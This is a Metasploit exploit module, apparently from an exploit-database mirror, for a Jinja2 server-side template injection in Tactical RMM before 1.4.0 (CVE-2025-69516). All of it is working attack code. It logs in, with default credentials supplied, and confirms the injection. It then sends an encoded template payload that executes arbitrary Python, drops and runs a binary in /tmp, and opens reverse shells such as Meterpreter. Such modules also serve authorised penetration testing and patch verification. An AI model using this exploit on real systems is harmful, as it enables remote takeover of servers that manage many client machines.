Share
## https://sploitus.com/exploit?id=PACKETSTORM:216652
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      prepend Msf::Exploit::Remote::AutoCheck
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::EXE
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Tactical RMM Jinja2 SSTI Remote Code Execution',
            'Description' => %q{
              This module exploits a Server-Side Template Injection (SSTI) vulnerability
              in Tactical RMM versions prior to 1.4.0 (CVE-2025-69516).
    
              The reporting template preview endpoint passes user-controlled Jinja2 template
              content to Environment.from_string() without sandboxing, allowing arbitrary
              Python code execution on the server.
    
              Valid credentials are required. The module authenticates to obtain a Knox API
              token, then delivers a Jinja2 SSTI payload through the template preview
              functionality to achieve OS command execution.
    
              The vulnerability was silently patched in version 1.4.0 by switching from
              jinja2.Environment to jinja2.sandbox.SandboxedEnvironment.
            },
            'Author' => [
              'Gabriel Gomes', # CVE discovery
              'Valentin Lobstein <chocapikk[at]leakix.net>' # Module and analysis
            ],
            'References' => [
              ['CVE', '2025-69516'],
              ['URL', 'https://github.com/amidaware/tacticalrmm'],
              ['URL', 'https://github.com/NtGabrielGomes/CVE-2025-69516']
            ],
            'License' => MSF_LICENSE,
            'Privileged' => false,
            'Targets' => [
              [
                'Python',
                {
                  'Platform' => 'python',
                  'Arch' => ARCH_PYTHON,
                  'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter_reverse_tcp' }
                }
              ],
              [
                'Unix/Linux Command',
                {
                  'Platform' => %w[unix linux],
                  'Arch' => ARCH_CMD,
                  'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_python' }
                }
              ],
              [
                'Linux x64',
                {
                  'Platform' => 'linux',
                  'Arch' => ARCH_X64,
                  'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp' }
                }
              ]
            ],
            'DefaultTarget' => 0,
            'DefaultOptions' => {
              'RPORT' => 443,
              'SSL' => true
            },
            'DisclosureDate' => '2026-01-29',
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
    
        register_options([
          OptString.new('USERNAME', [true, 'Username for Tactical RMM', 'tactical']),
          OptString.new('PASSWORD', [true, 'Password for Tactical RMM', 'tactical']),
          OptString.new('API_VHOST', [false, 'API hostname (auto-discovered from /env-config.js if blank)']),
          OptString.new('WritableDir', [true, 'Writable directory for payload drop', '/tmp'])
        ])
      end
    
      def discover_api_host
        return datastore['API_VHOST'] unless datastore['API_VHOST'].blank?
    
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'env-config.js')
        )
    
        if res&.code == 200 && res.body =~ %r{PROD_URL:\s*"https?://([^"]+)"}
          api_host = ::Regexp.last_match(1)
          vprint_status("Auto-discovered API host: #{api_host}")
          return api_host
        end
    
        nil
      end
    
      def api_request(opts = {})
        @api_host ||= discover_api_host
        if @api_host
          opts['headers'] ||= {}
          opts['headers']['Host'] = @api_host
        end
        send_request_cgi(opts)
      end
    
      def try_login
        res = api_request(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'v2', 'checkcreds/'),
          'ctype' => 'application/json',
          'data' => { username: datastore['USERNAME'], password: datastore['PASSWORD'] }.to_json
        )
    
        return nil unless res&.code == 200
    
        json = res.get_json_document
        return nil if json['totp'] == true
    
        json['token']
      end
    
      def login
        token = try_login
        fail_with(Failure::NoAccess, 'Authentication failed') unless token
    
        token
      end
    
      def send_template(token, template_md)
        api_request(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'reporting', 'templates', 'preview/'),
          'ctype' => 'application/json',
          'headers' => { 'Authorization' => "Token #{token}" },
          'data' => {
            template_md: template_md,
            type: 'html',
            template_css: '',
            template_html: nil,
            template_variables: '{}',
            dependencies: {},
            format: 'html',
            debug: false
          }.to_json
        )
      end
    
      def get_version(token)
        res = api_request(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'core', 'dashinfo/'),
          'headers' => { 'Authorization' => "Token #{token}" }
        )
    
        return nil unless res&.code == 200
    
        json = res.get_json_document
        json['trmm_version']
      end
    
      def check
        @token ||= try_login
        return CheckCode::Unknown('Authentication failed') unless @token
    
        vprint_status('Authenticated successfully')
    
        version = get_version(@token)
        if version
          vprint_status("Tactical RMM version: #{version}")
          return CheckCode::Safe("Version #{version} is patched (SandboxedEnvironment)") if Rex::Version.new(version) >= Rex::Version.new('1.4.0')
    
          print_good("Version #{version} is vulnerable (< 1.4.0)")
        end
    
        vprint_status('Confirming SSTI...')
        rand_a = rand(2..100)
        rand_b = rand(2..100)
        expected = (rand_a * rand_b).to_s
        res = send_template(@token, "{{ #{rand_a}*#{rand_b} }}")
    
        return CheckCode::Unknown('No response from template preview endpoint') unless res
        return CheckCode::Vulnerable('Jinja2 SSTI confirmed via unsandboxed template evaluation') if res.code == 200 && res.body.include?(expected)
        return CheckCode::Safe('Template preview accessible but expressions not evaluated') if res.code == 200
    
        CheckCode::Safe("Template preview returned HTTP #{res.code}")
      end
    
      def ssti_payload(code)
        encoded = Rex::Text.encode_base64(code)
        '{% set g=cycler.__init__.__globals__ %}{% set b=g["__builtins__"] %}' \
        "{% set x=b['__import__']('threading').Thread(target=b['exec'],args=(b['__import__']('base64').b64decode('#{encoded}').decode(),{'__builtins__':b}),daemon=True).start() %}"
      end
    
      # The target container has no curl/wget, so we embed the ELF payload
      # inline as base64 and use Python to write, execute, and clean it up.
      def python_dropper(exe)
        p = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"
        "import base64,os,subprocess,time;p='#{p}';open(p,'wb').write(base64.b64decode('#{[exe].pack('m0')}'));os.chmod(p,0o755);subprocess.Popen([p]);time.sleep(2);os.remove(p)"
      end
    
      def exploit
        @token ||= login
        print_status('Authenticated, token obtained')
        print_status('Sending SSTI payload...')
    
        case target['Arch']
        when ARCH_PYTHON
          code = payload.encoded
        when ARCH_CMD
          code = "import subprocess;subprocess.Popen(#{payload.encoded.inspect},shell=True)"
        when ARCH_X64
          code = python_dropper(generate_payload_exe)
        end
    
        send_template(@token, ssti_payload(code))
      end
    end